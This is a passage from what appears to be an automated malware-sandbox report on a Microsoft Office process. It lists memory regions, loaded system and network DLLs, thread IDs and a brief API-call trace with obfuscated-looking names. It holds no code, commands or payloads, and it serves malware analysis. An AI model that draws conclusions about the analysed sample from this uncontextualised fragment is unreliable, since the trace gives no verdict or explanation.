= 1 entry_point = 0x0 region_type = private name = "private_0x0000000011cd0000" filename = "" Region: id = 1045 start_va = 0x11ce0000 end_va = 0x11ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ce0000" filename = "" Region: id = 1046 start_va = 0x11cf0000 end_va = 0x11cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011cf0000" filename = "" Region: id = 1047 start_va = 0x11d00000 end_va = 0x11d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d00000" filename = "" Region: id = 1048 start_va = 0x11d10000 end_va = 0x11d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d10000" filename = "" Region: id = 1049 start_va = 0x11d20000 end_va = 0x11d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d20000" filename = "" Region: id = 1050 start_va = 0x11d30000 end_va = 0x11d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d30000" filename = "" Region: id = 1051 start_va = 0x11d40000 end_va = 0x11d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d40000" filename = "" Region: id = 1052 start_va = 0x11d50000 end_va = 0x11d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d50000" filename = "" Region: id = 1053 start_va = 0x7fe70000 end_va = 0x7fe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fe70000" filename = "" Region: id = 1054 start_va = 0x11cd0000 end_va = 0x11cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011cd0000" filename = "" Region: id = 1055 start_va = 0x11ce0000 end_va = 0x11ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ce0000" filename = "" Region: id = 1056 start_va = 0x11cf0000 end_va = 0x11cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011cf0000" filename = "" Region: id = 1057 start_va = 0x11d00000 end_va = 0x11d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d00000" filename = "" Region: id = 1058 start_va = 0x11d10000 end_va = 0x11d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d10000" filename = "" Region: id = 1059 start_va = 0x11d20000 end_va = 0x11d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d20000" filename = "" Region: id = 1060 start_va = 0x11d30000 end_va = 0x11d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d30000" filename = "" Region: id = 1061 start_va = 0x11d40000 end_va = 0x11d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d40000" filename = "" Region: id = 1062 start_va = 0x11d50000 end_va = 0x11d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d50000" filename = "" Region: id = 1063 start_va = 0x11d60000 end_va = 0x11d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d60000" filename = "" Region: id = 1064 start_va = 0x11d70000 end_va = 0x11d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d70000" filename = "" Region: id = 1065 start_va = 0x11d80000 end_va = 0x11d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d80000" filename = "" Region: id = 1066 start_va = 0x11d00000 end_va = 0x11d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d00000" filename = "" Region: id = 1067 start_va = 0x11d10000 end_va = 0x11d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d10000" filename = "" Region: id = 1068 start_va = 0x11d20000 end_va = 0x11d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d20000" filename = "" Region: id = 1069 start_va = 0x11d10000 end_va = 0x11e56fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d10000" filename = "" Region: id = 1070 start_va = 0x11e60000 end_va = 0x11fa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011e60000" filename = "" Region: id = 1071 start_va = 0x11fb0000 end_va = 0x11fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011fb0000" filename = "" Region: id = 1072 start_va = 0x11fb0000 end_va = 0x11fb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000011fb0000" filename = "" Region: id = 1073 start_va = 0x11fc0000 end_va = 0x11fcefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000011fc0000" filename = "" Region: id = 1074 start_va = 0x11fd0000 end_va = 0x11fdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011fd0000" filename = "" Region: id = 1075 start_va = 0x11fe0000 end_va = 0x12092fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011fe0000" filename = "" Region: id = 1077 start_va = 0x11fb0000 end_va = 0x11fbcfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000011fb0000" filename = "" Region: id = 1078 start_va = 0x11fc0000 end_va = 0x11fccfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000011fc0000" filename = "" Region: id = 1079 start_va = 0x71590000 end_va = 0x7179cfff monitored = 0 entry_point = 0x7167acb0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1080 start_va = 0x120a0000 end_va = 0x120a0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "counters.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 1081 start_va = 0x71540000 end_va = 0x71551fff monitored = 0 entry_point = 0x71544510 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll") Region: id = 1082 start_va = 0x71510000 end_va = 0x7153efff monitored = 0 entry_point = 0x7151bb70 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1083 start_va = 0x71470000 end_va = 0x7150afff monitored = 0 entry_point = 0x714af7e0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 1084 start_va = 0x76900000 end_va = 0x76906fff monitored = 0 entry_point = 0x76901e10 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1085 start_va = 0x71420000 end_va = 0x7146efff monitored = 0 entry_point = 0x7142d850 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 1086 start_va = 0x71410000 end_va = 0x71417fff monitored = 0 entry_point = 0x71411fc0 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1087 start_va = 0x70a50000 end_va = 0x70ad3fff monitored = 0 entry_point = 0x70a76530 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 1088 start_va = 0x11e60000 end_va = 0x11e6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000011e60000" filename = "" Region: id = 1140 start_va = 0x11e70000 end_va = 0x11e72fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mswsock.dll.mui") Region: id = 1141 start_va = 0x11e80000 end_va = 0x11e8cfff monitored = 0 entry_point = 0x11e87b50 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 1142 start_va = 0x11720000 end_va = 0x1181ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011720000" filename = "" Region: id = 1143 start_va = 0x688e0000 end_va = 0x6891afff monitored = 0 entry_point = 0x688f56aa region_type = mapped_file name = "msproof7.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\msproof7.dll" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\msproof7.dll") Region: id = 1144 start_va = 0x11820000 end_va = 0x11820fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "custom.dic" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\uproof\\custom.dic") Region: id = 1145 start_va = 0x76b50000 end_va = 0x76b54fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\SysWOW64\\normaliz.dll" (normalized: "c:\\windows\\syswow64\\normaliz.dll") Region: id = 1146 start_va = 0x11820000 end_va = 0x11831fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "normidna.nls" filename = "\\Windows\\System32\\normidna.nls" (normalized: "c:\\windows\\system32\\normidna.nls") Region: id = 1147 start_va = 0x68890000 end_va = 0x688d8fff monitored = 0 entry_point = 0x68896450 region_type = mapped_file name = "edputil.dll" filename = "\\Windows\\SysWOW64\\edputil.dll" (normalized: "c:\\windows\\syswow64\\edputil.dll") Region: id = 1148 start_va = 0x10250000 end_va = 0x10251fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010250000" filename = "" Region: id = 1149 start_va = 0x10260000 end_va = 0x10260fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010260000" filename = "" Region: id = 1150 start_va = 0x10270000 end_va = 0x1027ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010270000" filename = "" Region: id = 1151 start_va = 0x10280000 end_va = 0x10280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010280000" filename = "" Region: id = 1152 start_va = 0x10270000 end_va = 0x1027ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010270000" filename = "" Region: id = 1153 start_va = 0x10290000 end_va = 0x10385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "times.ttf" filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf") Region: id = 1154 start_va = 0x120b0000 end_va = 0x125a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000120b0000" filename = "" Region: id = 1155 start_va = 0x10270000 end_va = 0x10271fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010270000" filename = "" Region: id = 1156 start_va = 0x10390000 end_va = 0x10391fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010390000" filename = "" Region: id = 1157 start_va = 0x103a0000 end_va = 0x103a1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000103a0000" filename = "" Region: id = 1158 start_va = 0x103b0000 end_va = 0x103b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000103b0000" filename = "" Region: id = 1159 start_va = 0x103c0000 end_va = 0x10560fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambria.ttc" filename = "\\Windows\\Fonts\\cambria.ttc" (normalized: "c:\\windows\\fonts\\cambria.ttc") Region: id = 1160 start_va = 0x10570000 end_va = 0x10571fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010570000" filename = "" Region: id = 1161 start_va = 0x10580000 end_va = 0x10581fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010580000" filename = "" Region: id = 1162 start_va = 0x10590000 end_va = 0x10591fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010590000" filename = "" Region: id = 1163 start_va = 0x105a0000 end_va = 0x105a1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000105a0000" filename = "" Region: id = 1164 start_va = 0x105b0000 end_va = 0x105b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000105b0000" filename = "" Region: id = 1165 start_va = 0x105c0000 end_va = 0x105c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000105c0000" filename = "" Region: id = 1166 start_va = 0x105d0000 end_va = 0x105d1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000105d0000" filename = "" Region: id = 1167 start_va = 0x105e0000 end_va = 0x105e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000105e0000" filename = "" Region: id = 1168 start_va = 0x105f0000 end_va = 0x106e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrii.ttf" filename = "\\Windows\\Fonts\\calibrii.ttf" (normalized: "c:\\windows\\fonts\\calibrii.ttf") Region: id = 1169 start_va = 0x106f0000 end_va = 0x106f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000106f0000" filename = "" Region: id = 1170 start_va = 0x10700000 end_va = 0x10701fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010700000" filename = "" Region: id = 1171 start_va = 0x10710000 end_va = 0x10711fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010710000" filename = "" Region: id = 1172 start_va = 0x10720000 end_va = 0x10721fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010720000" filename = "" Region: id = 1173 start_va = 0x10730000 end_va = 0x10731fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010730000" filename = "" Region: id = 1174 start_va = 0x10740000 end_va = 0x10741fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010740000" filename = "" Region: id = 1175 start_va = 0x11840000 end_va = 0x11840fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011840000" filename = "" Region: id = 1179 start_va = 0x68800000 end_va = 0x6888ffff monitored = 0 entry_point = 0x68807345 region_type = mapped_file name = "msspell7.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\PROOF\\msspell7.dll" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\proof\\msspell7.dll") Region: id = 1180 start_va = 0x68790000 end_va = 0x687f3fff monitored = 0 entry_point = 0x687968c8 region_type = mapped_file name = "msgr8en.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\PROOF\\1033\\MSGR8EN.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\proof\\1033\\msgr8en.dll") Region: id = 1181 start_va = 0x125b0000 end_va = 0x12737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mssp7en.lex" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\PROOF\\MSSP7EN.LEX" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\proof\\mssp7en.lex") Region: id = 1182 start_va = 0x68720000 end_va = 0x68787fff monitored = 0 entry_point = 0x6872c3f5 region_type = mapped_file name = "mscss7en.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\mscss7en.dll" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\mscss7en.dll") Region: id = 1183 start_va = 0x68690000 end_va = 0x68712fff monitored = 0 entry_point = 0x6869fbe4 region_type = mapped_file name = "css7data0009.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\CSS7DATA0009.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\css7data0009.dll") Region: id = 1184 start_va = 0x120b0000 end_va = 0x12237fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mssp7en.lex" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\PROOF\\MSSP7EN.LEX" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\proof\\mssp7en.lex") Region: id = 1185 start_va = 0x12740000 end_va = 0x12c9bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nl7models0009.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\NL7MODELS0009.dll" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\nl7models0009.dll") Region: id = 1186 start_va = 0x10250000 end_va = 0x10252fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mscss7cm_en.dub" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\mscss7cm_en.dub" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\mscss7cm_en.dub") Region: id = 1187 start_va = 0x10260000 end_va = 0x1027afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mscss7wre_en.dub" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\mscss7wre_en.dub" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\mscss7wre_en.dub") Region: id = 1188 start_va = 0x103a0000 end_va = 0x103a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgr8en.dub" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\PROOF\\msgr8en.dub" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\proof\\msgr8en.dub") Region: id = 1189 start_va = 0x12ca0000 end_va = 0x134a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgr8en.lex" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\PROOF\\MSGR8EN.LEX" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\proof\\msgr8en.lex") Region: id = 1190 start_va = 0x11e80000 end_va = 0x11f24fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011e80000" filename = "" Region: id = 1191 start_va = 0x12240000 end_va = 0x122f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000012240000" filename = "" Region: id = 1192 start_va = 0x10570000 end_va = 0x10570fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000010570000" filename = "" Region: id = 1193 start_va = 0x10570000 end_va = 0x1057ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010570000" filename = "" Region: id = 1194 start_va = 0x10590000 end_va = 0x1059ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000010590000" filename = "" Region: id = 1195 start_va = 0x105b0000 end_va = 0x105b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000105b0000" filename = "" Region: id = 1196 start_va = 0x105d0000 end_va = 0x105d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000105d0000" filename = "" Region: id = 1197 start_va = 0x134b0000 end_va = 0x139a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000134b0000" filename = "" Region: id = 1198 start_va = 0x10590000 end_va = 0x10590fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000010590000" filename = "" Region: id = 1199 start_va = 0x106f0000 end_va = 0x106f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000106f0000" filename = "" Region: id = 1200 start_va = 0x67ab0000 end_va = 0x683fafff monitored = 0 entry_point = 0x67b2ec48 region_type = mapped_file name = "igx.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\IGX.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\igx.dll") Region: id = 1201 start_va = 0x10710000 end_va = 0x10711fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000010710000" filename = "" Region: id = 1202 start_va = 0x68670000 end_va = 0x68682fff monitored = 0 entry_point = 0x686725d0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 1203 start_va = 0x68650000 end_va = 0x68663fff monitored = 0 entry_point = 0x68653c10 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 1204 start_va = 0x10730000 end_va = 0x10730fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010730000" filename = "" Region: id = 1205 start_va = 0x11850000 end_va = 0x11850fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011850000" filename = "" Region: id = 1206 start_va = 0x67a40000 end_va = 0x67aa7fff monitored = 0 entry_point = 0x67a670a0 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll") Region: id = 1207 start_va = 0x6f9e0000 end_va = 0x6f9e7fff monitored = 0 entry_point = 0x6f9e1920 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 1208 start_va = 0x6f9f0000 end_va = 0x6fa36fff monitored = 0 entry_point = 0x6fa058d0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 1209 start_va = 0x6f970000 end_va = 0x6f9d3fff monitored = 0 entry_point = 0x6f98afd0 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\SysWOW64\\schannel.dll" (normalized: "c:\\windows\\syswow64\\schannel.dll") Region: id = 1210 start_va = 0x10730000 end_va = 0x10732fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010730000" filename = "" Region: id = 1211 start_va = 0x6f960000 end_va = 0x6f96ffff monitored = 0 entry_point = 0x6f964600 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\SysWOW64\\mskeyprotect.dll" (normalized: "c:\\windows\\syswow64\\mskeyprotect.dll") Region: id = 1212 start_va = 0x6f940000 end_va = 0x6f95ffff monitored = 0 entry_point = 0x6f94d120 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\SysWOW64\\ncrypt.dll" (normalized: "c:\\windows\\syswow64\\ncrypt.dll") Region: id = 1213 start_va = 0x6f910000 end_va = 0x6f93bfff monitored = 0 entry_point = 0x6f92bb10 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\SysWOW64\\ntasn1.dll" (normalized: "c:\\windows\\syswow64\\ntasn1.dll") Region: id = 1214 start_va = 0x11850000 end_va = 0x11850fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011850000" filename = "" Region: id = 1215 start_va = 0x11850000 end_va = 0x1188ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011850000" filename = "" Region: id = 1216 start_va = 0x12300000 end_va = 0x123fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000012300000" filename = "" Region: id = 1217 start_va = 0x6f8f0000 end_va = 0x6f909fff monitored = 0 entry_point = 0x6f8ffa70 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\SysWOW64\\ncryptsslp.dll" (normalized: "c:\\windows\\syswow64\\ncryptsslp.dll") Region: id = 1218 start_va = 0x10730000 end_va = 0x10739fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\crypt32.dll.mui") Region: id = 1219 start_va = 0x67930000 end_va = 0x67a39fff monitored = 0 entry_point = 0x67991e10 region_type = mapped_file name = "webservices.dll" filename = "\\Windows\\SysWOW64\\webservices.dll" (normalized: "c:\\windows\\syswow64\\webservices.dll") Region: id = 1220 start_va = 0x6f8e0000 end_va = 0x6f8e7fff monitored = 0 entry_point = 0x6f8e1d70 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\SysWOW64\\dpapi.dll" (normalized: "c:\\windows\\syswow64\\dpapi.dll") Region: id = 1221 start_va = 0x11f30000 end_va = 0x11f32fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011f30000" filename = "" Region: id = 1222 start_va = 0x11f40000 end_va = 0x11f40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011f40000" filename = "" Region: id = 1223 start_va = 0x11f30000 end_va = 0x11f32fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011f30000" filename = "" Region: id = 1224 start_va = 0x11f40000 end_va = 0x11f40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011f40000" filename = "" Region: id = 1375 start_va = 0xf040000 end_va = 0xf07ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f040000" filename = "" Region: id = 1376 start_va = 0x120b0000 end_va = 0x121affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000120b0000" filename = "" Thread: id = 1 os_tid = 0x1300 Thread: id = 2 os_tid = 0x12d8 Thread: id = 3 os_tid = 0x12d4 Thread: id = 4 os_tid = 0x12d0 Thread: id = 5 os_tid = 0x12cc Thread: id = 6 os_tid = 0x12c4 Thread: id = 7 os_tid = 0x12c0 Thread: id = 8 os_tid = 0x12bc Thread: id = 9 os_tid = 0x12b8 Thread: id = 10 os_tid = 0x12b4 Thread: id = 11 os_tid = 0x12b0 Thread: id = 12 os_tid = 0x12ac Thread: id = 13 os_tid = 0x12a8 Thread: id = 14 os_tid = 0x12a4 Thread: id = 15 os_tid = 0x12a0 Thread: id = 16 os_tid = 0x129c [0084.485] DispCallFunc (pvInstance=0x89409ec, oVft=0x1c, cc=0x4, vtReturn=0xa, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0x198170) returned 0x0 [0084.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1000, lpStartAddress=0x693211d3, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x198080 | out: lpThreadId=0x198080*=0x13f4) returned 0xb8c [0084.488] PeekMessageA (in: lpMsg=0x198060, hWnd=0x50202, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x3 | out: lpMsg=0x198060) returned 0 [0084.496] GetActiveWindow () returned 0x202b2 [0084.496] CRetailMalloc_Alloc () returned 0xca90370 [0084.496] CRetailMalloc_Realloc () returned 0xc85c1a0 [0084.497] CRetailMalloc_Alloc () returned 0xc8f13b8 [0084.498] CRetailMalloc_Realloc () returned 0xcb28018 [0084.498] memcpy (in: _Dst=0x197a00, _Src=0x197a28, _Size=0x4 | out: _Dst=0x197a00) returned 0x197a00 [0084.498] realloc (_Block=0x0, _Size=0x100) returned 0xfa54f38 [0084.498] memcpy (in: _Dst=0xfa54f38, _Src=0x197a00, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.498] memcpy (in: _Dst=0x197a10, _Src=0x197a44, _Size=0xc | out: _Dst=0x197a10) returned 0x197a10 [0084.498] realloc (_Block=0x0, _Size=0x60) returned 0xfa55040 [0084.498] memcpy (in: _Dst=0xfa55040, _Src=0x197a10, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e7764, cbMultiByte=9, lpWideCharStr=0x11420418, cchWideChar=20 | out: lpWideCharStr="Dbl_z8FQA") returned 9 [0084.498] CRetailMalloc_Realloc () returned 0xc89bb80 [0084.498] memcpy (in: _Dst=0xcb36b3c, _Src=0x11420414, _Size=0x18 | out: _Dst=0xcb36b3c) returned 0xcb36b3c [0084.498] memcpy (in: _Dst=0xfa54f38, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.498] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.499] memcpy (in: _Dst=0xfa54f38, _Src=0x197894, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.499] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc92bce, cbMultiByte=7, lpWideCharStr=0x197658, cchWideChar=6 | out: lpWideCharStr="Value") returned 0 [0084.499] CRetailMalloc_Realloc () returned 0xc809778 [0084.499] wcscpy_s (in: _Destination=0xcb36b58, _SizeInWords=0x6, _Source="Value" | out: _Destination="Value") returned 0x0 [0084.499] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.499] CRetailMalloc_Realloc () returned 0xc818840 [0084.499] memcpy (in: _Dst=0xfa54f38, _Src=0x197894, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.499] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.501] memcpy (in: _Dst=0x197904, _Src=0x197978, _Size=0x8 | out: _Dst=0x197904) returned 0x197904 [0084.501] memcpy (in: _Dst=0xcab2aa8, _Src=0x197904, _Size=0x8 | out: _Dst=0xcab2aa8) returned 0xcab2aa8 [0084.502] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e7794, cbMultiByte=7, lpWideCharStr=0x11421618, cchWideChar=16 | out: lpWideCharStr="S69tN3D") returned 7 [0084.502] memcpy (in: _Dst=0xcb36b68, _Src=0x11421614, _Size=0x14 | out: _Dst=0xcb36b68) returned 0xcb36b68 